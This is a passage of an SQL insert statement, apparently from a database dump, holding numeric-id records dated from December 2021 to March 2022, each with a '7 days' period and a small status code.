days',0),(65155,20807,11958,12261,1732,667,'2021-12-16','7 days',0),(65156,20806,11958,12261,1732,667,'2021-12-16','7 days',0),(65157,20805,11958,12261,1732,667,'2021-12-16','7 days',2),(65158,20804,11958,12261,1732,667,'2021-12-16','7 days',0),(65159,20803,11958,12261,1732,667,'2021-12-16','7 days',0),(65160,20802,11958,12261,1732,667,'2021-12-16','7 days',0),(65161,20801,11958,12261,1732,667,'2021-12-16','7 days',0),(65162,20800,11958,12261,1732,667,'2021-12-16','7 days',0),(65163,20799,11958,12261,1732,667,'2021-12-16','7 days',0),(65164,20798,11958,12261,1732,667,'2021-12-16','7 days',0),(65165,20797,11958,12261,1732,667,'2021-12-16','7 days',0),(65166,20796,11958,12261,1732,667,'2021-12-16','7 days',0),(65167,20795,11958,12261,1732,667,'2021-12-16','7 days',0),(65168,20794,11958,12261,1732,667,'2021-12-16','7 days',0),(65169,20793,11958,12261,1732,667,'2021-12-16','7 days',0),(65223,16277,12013,12313,1654,971,'2021-12-20','7 days',0),(65224,16276,12013,12313,1654,971,'2021-12-20','7 days',0),(65225,16139,12013,12313,1654,971,'2021-12-20','7 days',1),(65226,12739,12013,12313,1654,971,'2021-12-20','7 days',1),(65227,11698,12013,12313,1654,971,'2021-12-20','7 days',0),(65228,11456,12013,12313,1654,971,'2021-12-20','7 days',0),(65229,11126,12013,12313,1654,971,'2021-12-20','7 days',1),(65230,10978,12013,12313,1654,971,'2021-12-20','7 days',1),(65231,10967,12013,12313,1654,971,'2021-12-20','7 days',1),(65232,10965,12013,12313,1654,971,'2021-12-20','7 days',0),(65233,10964,12013,12313,1654,971,'2021-12-20','7 days',0),(65234,10963,12013,12313,1654,971,'2021-12-20','7 days',1),(65271,20792,12008,12307,221,85,'2021-12-21','7 days',1),(65272,11446,12008,12307,221,85,'2021-12-21','7 days',0),(65273,11445,12008,12307,221,85,'2021-12-21','7 days',0),(65274,11443,12008,12307,221,85,'2021-12-21','7 days',1),(65275,11442,12008,12307,221,85,'2021-12-21','7 days',0),(65276,11441,12008,12307,221,85,'2021-12-21','7 days',0),(65277,11435,12008,12307,221,85,'2021-12-21','7 days',0),(65278,11434,12008,12307,221,85,'2021-12-21','7 days',2),(65279,11433,12008,12307,221,85,'2021-12-21','7 days',0),(65280,11432,12008,12307,221,85,'2021-12-21','7 days',0),(65281,11431,12008,12307,221,85,'2021-12-21','7 days',0),(65282,11265,12008,12307,221,85,'2021-12-21','7 days',0),(65283,11264,12008,12307,221,85,'2021-12-21','7 days',0),(65284,11263,12008,12307,221,85,'2021-12-21','7 days',1),(65285,11262,12008,12307,221,85,'2021-12-21','7 days',1),(65286,11261,12008,12307,221,85,'2021-12-21','7 days',0),(65287,11260,12008,12307,221,85,'2021-12-21','7 days',0),(65300,18594,12036,12331,194,45,'2021-12-21','7 days',1),(65301,18593,12036,12331,194,45,'2021-12-21','7 days',1),(65302,18592,12036,12331,194,45,'2021-12-21','7 days',1),(65303,11520,12036,12331,194,45,'2021-12-21','7 days',1),(65304,11519,12036,12331,194,45,'2021-12-21','7 days',1),(65311,11360,11958,12261,1732,667,'2021-12-21','7 days',0),(65396,18830,12104,12392,1410,975,'2021-12-23','7 days',1),(65397,17409,12104,12392,1410,975,'2021-12-23','7 days',1),(65398,17404,12104,12392,1410,975,'2021-12-23','7 days',0),(65399,20696,12091,12387,1740,1020,'2021-12-23','7 days',1),(65400,20695,12091,12387,1740,1020,'2021-12-23','7 days',1),(65414,20792,12108,12089,221,85,'2021-12-23','7 days',0),(65415,11446,12108,12089,221,85,'2021-12-23','7 days',0),(65416,11445,12108,12089,221,85,'2021-12-23','7 days',0),(65417,11444,12108,12089,221,85,'2021-12-23','7 days',0),(65418,11442,12108,12089,221,85,'2021-12-23','7 days',0),(65419,11434,12108,12089,221,85,'2021-12-23','7 days',2),(65420,11433,12108,12089,221,85,'2021-12-23','7 days',0),(65421,11266,12108,12089,221,85,'2021-12-23','7 days',0),(65422,11265,12108,12089,221,85,'2021-12-23','7 days',0),(65423,11263,12108,12089,221,85,'2021-12-23','7 days',2),(65424,11262,12108,12089,221,85,'2021-12-23','7 days',2),(65425,11261,12108,12089,221,85,'2021-12-23','7 days',0),(65426,11260,12108,12089,221,85,'2021-12-23','7 days',0),(65427,20792,12080,12377,221,85,'2021-12-23','7 days',0),(65428,11446,12080,12377,221,85,'2021-12-23','7 days',0),(65429,11443,12080,12377,221,85,'2021-12-23','7 days',2),(65430,11442,12080,12377,221,85,'2021-12-23','7 days',0),(65431,11437,12080,12377,221,85,'2021-12-23','7 days',0),(65432,11436,12080,12377,221,85,'2021-12-23','7 days',0),(65433,11435,12080,12377,221,85,'2021-12-23','7 days',0),(65434,11434,12080,12377,221,85,'2021-12-23','7 days',2),(65435,11433,12080,12377,221,85,'2021-12-23','7 days',0),(65436,11432,12080,12377,221,85,'2021-12-23','7 days',0),(65437,11268,12080,12377,221,85,'2021-12-23','7 days',0),(65438,11267,12080,12377,221,85,'2021-12-23','7 days',0),(65439,11266,12080,12377,221,85,'2021-12-23','7 days',0),(65440,11263,12080,12377,221,85,'2021-12-23','7 days',1),(65441,11262,12080,12377,221,85,'2021-12-23','7 days',2),(65442,11261,12080,12377,221,85,'2021-12-23','7 days',0),(65443,11260,12080,12377,221,85,'2021-12-23','7 days',0),(65534,20788,12157,12426,1410,975,'2021-12-27','7 days',1),(65535,18830,12157,12426,1410,975,'2021-12-27','7 days',1),(65536,17409,12157,12426,1410,975,'2021-12-27','7 days',1),(65537,17408,12157,12426,1410,975,'2021-12-27','7 days',1),(65538,18593,12170,12436,194,45,'2021-12-27','7 days',1),(65539,18592,12170,12436,194,45,'2021-12-27','7 days',1),(65540,11845,12170,12436,194,45,'2021-12-27','7 days',1),(65541,11520,12170,12436,194,45,'2021-12-27','7 days',1),(65542,11519,12170,12436,194,45,'2021-12-27','7 days',1),(65654,20788,12177,12443,1410,975,'2021-12-28','7 days',1),(65655,18830,12177,12443,1410,975,'2021-12-28','7 days',1),(65656,17409,12177,12443,1410,975,'2021-12-28','7 days',1),(65657,17408,12177,12443,1410,975,'2021-12-28','7 days',1),(65683,18594,12200,12468,194,45,'2021-12-29','7 days',1),(65684,18593,12200,12468,194,45,'2021-12-29','7 days',1),(65685,11520,12200,12468,194,45,'2021-12-29','7 days',1),(65686,11519,12200,12468,194,45,'2021-12-29','7 days',1),(65751,19642,11958,12261,1732,667,'2021-12-30','7 days',0),(65752,19641,11958,12261,1732,667,'2021-12-30','7 days',0),(65753,19640,11958,12261,1732,667,'2021-12-30','7 days',0),(65754,19639,11958,12261,1732,667,'2021-12-30','7 days',1),(65755,19638,11958,12261,1732,667,'2021-12-30','7 days',1),(65756,19637,11958,12261,1732,667,'2021-12-30','7 days',0),(65757,19636,11958,12261,1732,667,'2021-12-30','7 days',2),(65758,19635,11958,12261,1732,667,'2021-12-30','7 days',0),(65759,19634,11958,12261,1732,667,'2021-12-30','7 days',0),(65760,19633,11958,12261,1732,667,'2021-12-30','7 days',0),(65761,19632,11958,12261,1732,667,'2021-12-30','7 days',0),(65762,19631,11958,12261,1732,667,'2021-12-30','7 days',0),(65763,19630,11958,12261,1732,667,'2021-12-30','7 days',0),(65764,19629,11958,12261,1732,667,'2021-12-30','7 days',2),(65765,19628,11958,12261,1732,667,'2021-12-30','7 days',0),(65806,15826,12198,12466,1408,86,'2021-12-31','7 days',1),(65807,13344,12198,12466,1408,86,'2021-12-31','7 days',0),(65808,13343,12198,12466,1408,86,'2021-12-31','7 days',0),(65809,13342,12198,12466,1408,86,'2021-12-31','7 days',0),(65810,13341,12198,12466,1408,86,'2021-12-31','7 days',0),(65811,13340,12198,12466,1408,86,'2021-12-31','7 days',0),(65812,13339,12198,12466,1408,86,'2021-12-31','7 days',0),(65813,13338,12198,12466,1408,86,'2021-12-31','7 days',0),(65814,18594,12205,12472,194,45,'2021-12-31','7 days',1),(65815,18593,12205,12472,194,45,'2021-12-31','7 days',1),(65816,11520,12205,12472,194,45,'2021-12-31','7 days',1),(65817,11519,12205,12472,194,45,'2021-12-31','7 days',1),(65826,18929,12198,12466,1408,86,'2021-12-31','7 days',1),(65827,17502,12198,12466,1408,86,'2021-12-31','7 days',0),(65828,17076,12198,12466,1408,86,'2021-12-31','7 days',0),(65829,15586,12198,12466,1408,86,'2021-12-31','7 days',0),(65830,15567,12198,12466,1408,86,'2021-12-31','7 days',0),(65831,14994,12198,12466,1408,86,'2021-12-31','7 days',1),(65832,13670,12198,12466,1408,86,'2021-12-31','7 days',0),(65833,12368,12198,12466,1408,86,'2021-12-31','7 days',0),(65834,11848,12198,12466,1408,86,'2021-12-31','7 days',0),(65835,9004,12198,12466,1408,86,'2021-12-31','7 days',0),(65836,8999,12198,12466,1408,86,'2021-12-31','7 days',1),(65837,8997,12198,12466,1408,86,'2021-12-31','7 days',0),(65838,20919,12198,12466,1408,86,'2021-12-31','7 days',0),(65839,20918,12198,12466,1408,86,'2021-12-31','7 days',0),(65840,20917,12198,12466,1408,86,'2021-12-31','7 days',2),(65841,20916,12198,12466,1408,86,'2021-12-31','7 days',0),(65874,16277,11710,12077,1654,971,'2021-12-31','7 days',0),(65875,16276,11710,12077,1654,971,'2021-12-31','7 days',0),(65876,16139,11710,12077,1654,971,'2021-12-31','7 days',1),(65877,12739,11710,12077,1654,971,'2021-12-31','7 days',1),(65878,11698,11710,12077,1654,971,'2021-12-31','7 days',0),(65879,11456,11710,12077,1654,971,'2021-12-31','7 days',0),(65880,11126,11710,12077,1654,971,'2021-12-31','7 days',0),(65881,10978,11710,12077,1654,971,'2021-12-31','7 days',1),(65882,10967,11710,12077,1654,971,'2021-12-31','7 days',1),(65883,10966,11710,12077,1654,971,'2021-12-31','7 days',1),(65884,10965,11710,12077,1654,971,'2021-12-31','7 days',0),(65885,10964,11710,12077,1654,971,'2021-12-31','7 days',0),(65886,10963,11710,12077,1654,971,'2021-12-31','7 days',1),(65887,20949,12199,12467,1732,667,'2021-12-31','7 days',0),(65888,20948,12199,12467,1732,667,'2021-12-31','7 days',0),(65889,20947,12199,12467,1732,667,'2021-12-31','7 days',0),(65890,20946,12199,12467,1732,667,'2021-12-31','7 days',0),(65891,20945,12199,12467,1732,667,'2021-12-31','7 days',0),(65892,20944,12199,12467,1732,667,'2021-12-31','7 days',2),(65893,20943,12199,12467,1732,667,'2021-12-31','7 days',0),(65894,20942,12199,12467,1732,667,'2021-12-31','7 days',0),(65895,20941,12199,12467,1732,667,'2021-12-31','7 days',0),(65896,20940,12199,12467,1732,667,'2021-12-31','7 days',0),(65897,20939,12199,12467,1732,667,'2021-12-31','7 days',0),(65898,20938,12199,12467,1732,667,'2021-12-31','7 days',0),(65899,20937,12199,12467,1732,667,'2021-12-31','7 days',0),(65900,20936,12199,12467,1732,667,'2021-12-31','7 days',2),(65901,20935,12199,12467,1732,667,'2021-12-31','7 days',0),(65902,20934,12199,12467,1732,667,'2021-12-31','7 days',2),(65903,20933,12199,12467,1732,667,'2021-12-31','7 days',0),(65904,20932,12199,12467,1732,667,'2021-12-31','7 days',2),(65905,20931,12199,12467,1732,667,'2021-12-31','7 days',2),(65906,20930,12199,12467,1732,667,'2021-12-31','7 days',0),(65907,20929,12199,12467,1732,667,'2021-12-31','7 days',0),(65908,20928,12199,12467,1732,667,'2021-12-31','7 days',0),(65909,20927,12199,12467,1732,667,'2021-12-31','7 days',0),(65910,20926,12199,12467,1732,667,'2021-12-31','7 days',0),(65911,20925,12199,12467,1732,667,'2021-12-31','7 days',0),(65912,20093,12199,12467,1732,667,'2021-12-31','7 days',1),(65922,20789,12211,12477,1394,86,'2022-01-01','7 days',0),(65923,20731,12211,12477,1394,86,'2022-01-01','7 days',0),(65924,20730,12211,12477,1394,86,'2022-01-01','7 days',0),(65925,20666,12211,12477,1394,86,'2022-01-01','7 days',0),(65926,20665,12211,12477,1394,86,'2022-01-01','7 days',0),(65927,18934,12211,12477,1394,86,'2022-01-01','7 days',2),(65928,18930,12211,12477,1394,86,'2022-01-01','7 days',0),(65929,18929,12211,12477,1394,86,'2022-01-01','7 days',2),(65930,18928,12211,12477,1394,86,'2022-01-01','7 days',2),(65931,18695,12211,12477,1394,86,'2022-01-01','7 days',2),(65932,18562,12211,12477,1394,86,'2022-01-01','7 days',0),(65933,18561,12211,12477,1394,86,'2022-01-01','7 days',0),(65934,18560,12211,12477,1394,86,'2022-01-01','7 days',0),(65935,17502,12211,12477,1394,86,'2022-01-01','7 days',2),(65936,17501,12211,12477,1394,86,'2022-01-01','7 days',0),(65937,17500,12211,12477,1394,86,'2022-01-01','7 days',0),(65938,17078,12211,12477,1394,86,'2022-01-01','7 days',0),(65939,9006,12211,12477,1394,86,'2022-01-01','7 days',0),(65940,9004,12211,12477,1394,86,'2022-01-01','7 days',0),(65941,9000,12211,12477,1394,86,'2022-01-01','7 days',1),(65942,8997,12211,12477,1394,86,'2022-01-01','7 days',0),(66056,18594,12284,12555,194,45,'2022-01-11','7 days',1),(66057,18593,12284,12555,194,45,'2022-01-11','7 days',1),(66058,18592,12284,12555,194,45,'2022-01-11','7 days',1),(66153,18594,12279,12548,194,45,'2022-01-13','7 days',1),(66154,18593,12279,12548,194,45,'2022-01-13','7 days',1),(66155,18592,12279,12548,194,45,'2022-01-13','7 days',1),(66156,11845,12279,12548,194,45,'2022-01-13','7 days',1),(66157,18592,12267,12536,194,45,'2022-01-13','7 days',1),(66242,11520,12313,12582,194,45,'2022-01-21','7 days',1),(66243,11519,12313,12582,194,45,'2022-01-21','7 days',1),(66244,18594,12327,12597,194,45,'2022-01-21','7 days',1),(66245,11520,12327,12597,194,45,'2022-01-21','7 days',1),(66246,11519,12327,12597,194,45,'2022-01-21','7 days',1),(66359,11520,12347,12615,194,45,'2022-01-24','7 days',1),(66360,11519,12347,12615,194,45,'2022-01-24','7 days',1),(66371,11520,12229,12497,194,45,'2022-01-24','7 days',1),(66372,11519,12229,12497,194,45,'2022-01-24','7 days',1),(66373,18561,12341,12608,1291,86,'2022-01-24','7 days',0),(66374,20919,12341,12608,1291,86,'2022-01-24','7 days',0),(66375,20666,12341,12608,1291,86,'2022-01-24','7 days',0),(66376,20770,12339,12606,1343,86,'2022-01-25','7 days',0),(66377,20769,12339,12606,1343,86,'2022-01-25','7 days',0),(66378,20768,12339,12606,1343,86,'2022-01-25','7 days',0),(66379,20767,12339,12606,1343,86,'2022-01-25','7 days',0),(66380,20766,12339,12606,1343,86,'2022-01-25','7 days',0),(66381,20765,12339,12606,1343,86,'2022-01-25','7 days',1),(66382,19562,12339,12606,1343,86,'2022-01-25','7 days',0),(66383,19561,12339,12606,1343,86,'2022-01-25','7 days',0),(66384,19560,12339,12606,1343,86,'2022-01-25','7 days',0),(66385,19559,12339,12606,1343,86,'2022-01-25','7 days',0),(66386,19558,12339,12606,1343,86,'2022-01-25','7 days',0),(66387,19557,12339,12606,1343,86,'2022-01-25','7 days',0),(66388,15976,12339,12606,1343,86,'2022-01-25','7 days',0),(66389,14782,12339,12606,1343,86,'2022-01-25','7 days',0),(66390,12817,12339,12606,1343,86,'2022-01-25','7 days',0),(66391,12425,12339,12606,1343,86,'2022-01-25','7 days',0),(66392,12424,12339,12606,1343,86,'2022-01-25','7 days',1),(66393,9532,12339,12606,1343,86,'2022-01-25','7 days',0),(66394,9531,12339,12606,1343,86,'2022-01-25','7 days',0),(66396,20770,12341,12608,1291,86,'2022-01-25','7 days',0),(66397,20769,12341,12608,1291,86,'2022-01-25','7 days',0),(66398,20766,12341,12608,1291,86,'2022-01-25','7 days',0),(66399,19559,12341,12608,1291,86,'2022-01-25','7 days',0),(66400,16209,12341,12608,1291,86,'2022-01-25','7 days',0),(66401,14781,12341,12608,1291,86,'2022-01-25','7 days',0),(66402,14780,12341,12608,1291,86,'2022-01-25','7 days',0),(66403,12817,12341,12608,1291,86,'2022-01-25','7 days',0),(66404,12425,12341,12608,1291,86,'2022-01-25','7 days',2),(66405,12354,12341,12608,1291,86,'2022-01-25','7 days',2),(66406,9535,12341,12608,1291,86,'2022-01-25','7 days',0),(66407,9534,12341,12608,1291,86,'2022-01-25','7 days',0),(66408,9533,12341,12608,1291,86,'2022-01-25','7 days',0),(66409,9532,12341,12608,1291,86,'2022-01-25','7 days',0),(66421,21289,11914,12226,162,73,'2022-01-27','7 days',0),(66422,21288,11914,12226,162,73,'2022-01-27','7 days',0),(66423,21287,11914,12226,162,73,'2022-01-27','7 days',0),(66424,21286,11914,12226,162,73,'2022-01-27','7 days',0),(66425,21285,11914,12226,162,73,'2022-01-27','7 days',1),(66426,21284,11914,12226,162,73,'2022-01-27','7 days',0),(66427,21294,12103,12391,162,73,'2022-01-27','7 days',0),(66428,21293,12103,12391,162,73,'2022-01-27','7 days',0),(66429,21292,12103,12391,162,73,'2022-01-27','7 days',0),(66430,21291,12103,12391,162,73,'2022-01-27','7 days',0),(66431,21290,12103,12391,162,73,'2022-01-27','7 days',0),(66432,21299,12133,10406,161,73,'2022-01-27','7 days',2),(66433,21298,12133,10406,161,73,'2022-01-27','7 days',0),(66434,21297,12133,10406,161,73,'2022-01-27','7 days',1),(66435,21296,12133,10406,161,73,'2022-01-27','7 days',0),(66436,21295,12133,10406,161,73,'2022-01-27','7 days',0),(66437,21304,12278,12547,162,73,'2022-01-27','7 days',0),(66438,21303,12278,12547,162,73,'2022-01-27','7 days',1),(66439,21302,12278,12547,162,73,'2022-01-27','7 days',1),(66440,21301,12278,12547,162,73,'2022-01-27','7 days',0),(66441,21300,12278,12547,162,73,'2022-01-27','7 days',0),(66442,21309,12307,12576,162,73,'2022-01-27','7 days',0),(66443,21308,12307,12576,162,73,'2022-01-27','7 days',0),(66444,21307,12307,12576,162,73,'2022-01-27','7 days',1),(66445,21306,12307,12576,162,73,'2022-01-27','7 days',0),(66446,21305,12307,12576,162,73,'2022-01-27','7 days',0),(66447,21314,12328,12598,161,73,'2022-01-27','7 days',0),(66448,21313,12328,12598,161,73,'2022-01-27','7 days',2),(66449,21312,12328,12598,161,73,'2022-01-27','7 days',0),(66450,21311,12328,12598,161,73,'2022-01-27','7 days',0),(66451,21310,12328,12598,161,73,'2022-01-27','7 days',0),(66452,21319,12348,12616,162,73,'2022-01-27','7 days',0),(66453,21318,12348,12616,162,73,'2022-01-27','7 days',0),(66454,21317,12348,12616,162,73,'2022-01-27','7 days',0),(66455,21316,12348,12616,162,73,'2022-01-27','7 days',0),(66456,21315,12348,12616,162,73,'2022-01-27','7 days',0),(66508,20789,12392,5004,1394,86,'2022-01-29','7 days',0),(66509,20731,12392,5004,1394,86,'2022-01-29','7 days',0),(66510,20730,12392,5004,1394,86,'2022-01-29','7 days',0),(66511,20666,12392,5004,1394,86,'2022-01-29','7 days',0),(66512,20665,12392,5004,1394,86,'2022-01-29','7 days',0),(66513,18934,12392,5004,1394,86,'2022-01-29','7 days',0),(66514,18929,12392,5004,1394,86,'2022-01-29','7 days',1),(66515,18695,12392,5004,1394,86,'2022-01-29','7 days',0),(66516,18561,12392,5004,1394,86,'2022-01-29','7 days',0),(66517,15587,12392,5004,1394,86,'2022-01-29','7 days',0),(66518,15586,12392,5004,1394,86,'2022-01-29','7 days',0),(66519,15493,12392,5004,1394,86,'2022-01-29','7 days',0),(66520,15368,12392,5004,1394,86,'2022-01-29','7 days',2),(66521,15364,12392,5004,1394,86,'2022-01-29','7 days',2),(66522,14994,12392,5004,1394,86,'2022-01-29','7 days',0),(66523,14443,12392,5004,1394,86,'2022-01-29','7 days',0),(66524,14442,12392,5004,1394,86,'2022-01-29','7 days',2),(66525,13671,12392,5004,1394,86,'2022-01-29','7 days',1),(66526,8999,12392,5004,1394,86,'2022-01-29','7 days',2),(66527,6243,12341,12608,1291,86,'2022-01-29','7 days',0),(66528,6241,12341,12608,1291,86,'2022-01-29','7 days',0),(66561,8784,12394,12661,160,73,'2022-02-01','7 days',1),(66562,8783,12394,12661,160,73,'2022-02-01','7 days',0),(66563,656,12394,12661,160,73,'2022-02-01','7 days',0),(66564,653,12394,12661,160,73,'2022-02-01','7 days',0),(66565,671,12394,12661,160,73,'2022-02-01','7 days',0),(66605,11446,12286,11947,221,85,'2022-02-03','7 days',0),(66606,11445,12286,11947,221,85,'2022-02-03','7 days',0),(66607,11444,12286,11947,221,85,'2022-02-03','7 days',0),(66608,11443,12286,11947,221,85,'2022-02-03','7 days',2),(66609,11442,12286,11947,221,85,'2022-02-03','7 days',0),(66610,11441,12286,11947,221,85,'2022-02-03','7 days',0),(66611,11440,12286,11947,221,85,'2022-02-03','7 days',0),(66612,11438,12286,11947,221,85,'2022-02-03','7 days',2),(66613,11432,12286,11947,221,85,'2022-02-03','7 days',2),(66614,11431,12286,11947,221,85,'2022-02-03','7 days',0),(66615,11269,12286,11947,221,85,'2022-02-03','7 days',0),(66616,11268,12286,11947,221,85,'2022-02-03','7 days',0),(66617,11264,12286,11947,221,85,'2022-02-03','7 days',0),(66618,11263,12286,11947,221,85,'2022-02-03','7 days',1),(66619,11262,12286,11947,221,85,'2022-02-03','7 days',1),(66642,17548,12436,12709,194,45,'2022-02-05','7 days',1),(66648,16783,12419,12688,1291,86,'2022-02-05','7 days',0),(66649,16782,12419,12688,1291,86,'2022-02-05','7 days',0),(66650,16739,12419,12688,1291,86,'2022-02-05','7 days',0),(66651,16024,12419,12688,1291,86,'2022-02-05','7 days',0),(66652,15975,12419,12688,1291,86,'2022-02-05','7 days',0),(66653,15589,12419,12688,1291,86,'2022-02-05','7 days',0),(66654,15588,12419,12688,1291,86,'2022-02-05','7 days',1),(66655,8999,12419,12688,1291,86,'2022-02-05','7 days',1),(66656,20789,12419,12688,1291,86,'2022-02-05','7 days',0),(66657,17548,12405,12674,194,45,'2022-02-07','7 days',1),(66658,14534,12405,12674,194,45,'2022-02-07','7 days',1),(66659,12532,12405,12674,194,45,'2022-02-07','7 days',1),(66660,1989,12405,12674,194,45,'2022-02-07','7 days',1),(66723,14534,12452,12718,194,45,'2022-02-08','7 days',1),(66724,12532,12452,12718,194,45,'2022-02-08','7 days',1),(66725,12531,12452,12718,194,45,'2022-02-08','7 days',1),(66726,11715,12452,12718,194,45,'2022-02-08','7 days',1),(66727,11714,12452,12718,194,45,'2022-02-08','7 days',1),(66728,10975,12452,12718,194,45,'2022-02-08','7 days',1),(66729,5467,12452,12718,194,45,'2022-02-08','7 days',1),(66730,20789,12454,12182,1574,86,'2022-02-08','7 days',0),(66731,20731,12454,12182,1574,86,'2022-02-08','7 days',0),(66732,17500,12454,12182,1574,86,'2022-02-08','7 days',0),(66733,17078,12454,12182,1574,86,'2022-02-08','7 days',0),(66734,17076,12454,12182,1574,86,'2022-02-08','7 days',0),(66777,10976,12457,12724,194,45,'2022-02-10','7 days',1),(66778,10975,12457,12724,194,45,'2022-02-10','7 days',1),(66779,5467,12457,12724,194,45,'2022-02-10','7 days',1),(66780,1989,12457,12724,194,45,'2022-02-10','7 days',1),(66798,21314,12348,12616,162,73,'2022-02-10','7 days',0),(66799,21313,12348,12616,162,73,'2022-02-10','7 days',2),(66800,21312,12348,12616,162,73,'2022-02-10','7 days',0),(66801,21311,12348,12616,162,73,'2022-02-10','7 days',0),(66802,21310,12348,12616,162,73,'2022-02-10','7 days',0),(66803,21309,12348,12616,162,73,'2022-02-10','7 days',0),(66804,21308,12348,12616,162,73,'2022-02-10','7 days',0),(66805,9009,12394,12661,160,73,'2022-02-10','7 days',0),(66806,9008,12394,12661,160,73,'2022-02-10','7 days',0),(66807,665,12394,12661,160,73,'2022-02-10','7 days',0),(66808,662,12394,12661,160,73,'2022-02-10','7 days',0),(66809,633,12394,12661,160,73,'2022-02-10','7 days',2),(66830,20789,12407,12676,1343,86,'2022-02-11','7 days',0),(66831,20731,12407,12676,1343,86,'2022-02-11','7 days',0),(66832,20730,12407,12676,1343,86,'2022-02-11','7 days',0),(66833,20666,12407,12676,1343,86,'2022-02-11','7 days',0),(66834,20665,12407,12676,1343,86,'2022-02-11','7 days',0),(66835,18934,12407,12676,1343,86,'2022-02-11','7 days',0),(66836,18930,12407,12676,1343,86,'2022-02-11','7 days',0),(66837,18929,12407,12676,1343,86,'2022-02-11','7 days',1),(66838,18928,12407,12676,1343,86,'2022-02-11','7 days',2),(66839,15587,12407,12676,1343,86,'2022-02-11','7 days',0),(66840,15586,12407,12676,1343,86,'2022-02-11','7 days',1),(66908,9012,12348,12616,162,73,'2022-02-14','7 days',0),(66909,9010,12348,12616,162,73,'2022-02-14','7 days',0),(66910,8785,12348,12616,162,73,'2022-02-14','7 days',2),(66911,8782,12348,12616,162,73,'2022-02-14','7 days',1),(66912,652,12348,12616,162,73,'2022-02-14','7 days',0),(66913,21319,12394,12661,160,73,'2022-02-14','7 days',0),(66914,21318,12394,12661,160,73,'2022-02-14','7 days',0),(66915,21317,12394,12661,160,73,'2022-02-14','7 days',0),(66916,21316,12394,12661,160,73,'2022-02-14','7 days',0),(66917,21315,12394,12661,160,73,'2022-02-14','7 days',0),(66945,14685,12497,12734,194,45,'2022-02-16','7 days',1),(66946,14684,12497,12734,194,45,'2022-02-16','7 days',1),(66947,13913,12497,12734,194,45,'2022-02-16','7 days',0),(66948,12562,12497,12734,194,45,'2022-02-16','7 days',1),(66949,11689,12497,12734,194,45,'2022-02-16','7 days',1),(66950,11688,12497,12734,194,45,'2022-02-16','7 days',2),(66951,11687,12497,12734,194,45,'2022-02-16','7 days',1),(66952,11686,12497,12734,194,45,'2022-02-16','7 days',0),(66953,11163,12497,12734,194,45,'2022-02-16','7 days',2),(66954,11162,12497,12734,194,45,'2022-02-16','7 days',1),(66955,9206,12497,12734,194,45,'2022-02-16','7 days',1),(67114,21319,12491,12762,162,73,'2022-02-22','7 days',0),(67115,21318,12491,12762,162,73,'2022-02-22','7 days',0),(67116,21317,12491,12762,162,73,'2022-02-22','7 days',0),(67117,21316,12491,12762,162,73,'2022-02-22','7 days',0),(67118,21315,12491,12762,162,73,'2022-02-22','7 days',2),(67119,21314,12491,12762,162,73,'2022-02-22','7 days',0),(67120,21313,12491,12762,162,73,'2022-02-22','7 days',2),(67121,21312,12491,12762,162,73,'2022-02-22','7 days',0),(67122,21311,12491,12762,162,73,'2022-02-22','7 days',0),(67123,21310,12491,12762,162,73,'2022-02-22','7 days',0),(67124,9012,12493,9086,161,73,'2022-02-22','7 days',0),(67125,9010,12493,9086,161,73,'2022-02-22','7 days',0),(67126,8785,12493,9086,161,73,'2022-02-22','7 days',0),(67127,8782,12493,9086,161,73,'2022-02-22','7 days',1),(67128,652,12493,9086,161,73,'2022-02-22','7 days',0),(67129,651,12493,9086,161,73,'2022-02-22','7 days',0),(67130,644,12493,9086,161,73,'2022-02-22','7 days',0),(67131,643,12493,9086,161,73,'2022-02-22','7 days',0),(67132,19523,12518,12785,161,73,'2022-02-22','7 days',0),(67133,19522,12518,12785,161,73,'2022-02-22','7 days',1),(67134,19521,12518,12785,161,73,'2022-02-22','7 days',0),(67135,19520,12518,12785,161,73,'2022-02-22','7 days',0),(67136,19518,12518,12785,161,73,'2022-02-22','7 days',0),(67137,642,12522,12789,161,73,'2022-02-22','7 days',2),(67138,640,12522,12789,161,73,'2022-02-22','7 days',0),(67139,639,12522,12789,161,73,'2022-02-22','7 days',0),(67140,637,12522,12789,161,73,'2022-02-22','7 days',0),(67141,636,12522,12789,161,73,'2022-02-22','7 days',0),(67142,629,12522,12789,161,73,'2022-02-22','7 days',0),(67185,6244,12429,12701,221,85,'2022-03-02','7 days',0),(67186,11441,12429,12701,221,85,'2022-03-02','7 days',0),(67187,11440,12429,12701,221,85,'2022-03-02','7 days',0),(67188,11438,12429,12701,221,85,'2022-03-02','7 days',0),(67189,11437,12429,12701,221,85,'2022-03-02','7 days',0),(67190,11435,12429,12701,221,85,'2022-03-02','7 days',0),(67191,11434,12429,12701,221,85,'2022-03-02','7 days',2),(67192,11433,12429,12701,221,85,'2022-03-02','7 days',0),(67213,9011,12518,12785,161,73,'2022-03-03','7 days',0),(67214,648,12518,12785,161,73,'2022-03-03','7 days',1),(67215,657,12518,12785,161,73,'2022-03-03','7 days',2),(67216,673,12518,12785,161,73,'2022-03-03','7 days',0),(67217,667,12518,12785,161,73,'2022-03-03','7 days',0),(67218,666,12518,12785,161,73,'2022-03-03','7 days',0),(67219,650,12522,12789,161,73,'2022-03-03','7 days',2),(67220,649,12522,12789,161,73,'2022-03-03','7 days',0),(67221,646,12522,12789,161,73,'2022-03-03','7 days',0),(67222,645,12522,12789,161,73,'2022-03-03','7 days',1),(67223,9009,12522,12789,161,73,'2022-03-03','7 days',0),(67224,9008,12522,12789,161,73,'2022-03-03','7 days',0),(67315,16277,12548,12811,1710,971,'2022-03-04','7 days',0),(67316,16276,12548,12811,1710,971,'2022-03-04','7 days',0),(67317,16139,12548,12811,1710,971,'2022-03-04','7 days',1),(67318,12739,12548,12811,1710,971,'2022-03-04','7 days',0),(67319,11698,12548,12811,1710,971,'2022-03-04','7 days',0),(67320,11456,12548,12811,1710,971,'2022-03-04','7 days',0),(67321,11126,12548,12811,1710,971,'2022-03-04','7 days',0),(67322,10978,12548,12811,1710,971,'2022-03-04','7 days',1),(67323,10965,12548,12811,1710,971,'2022-03-04','7 days',0),(67324,10964,12548,12811,1710,971,'2022-03-04','7 days',0),(67325,10963,12548,12811,1710,971,'2022-03-04','7 days',0),(67362,669,12397,12666,160,73,'2022-03-04','7 days',0),(67363,650,12397,12666,160,73,'2022-03-04','7 days',2),(67364,649,12397,12666,160,73,'2022-03-04','7 days',1),(67365,646,12397,12666,160,73,'2022-03-04','7 days',0),(67366,645,12397,12666,160,73,'2022-03-04','7 days',1),(67451,20438,12464,12733,1670,277,'2022-03-07','7 days',0),(67452,20436,12464,12733,1670,277,'2022-03-07','7 days',0),(67453,20434,12464,12733,1670,277,'2022-03-07','7 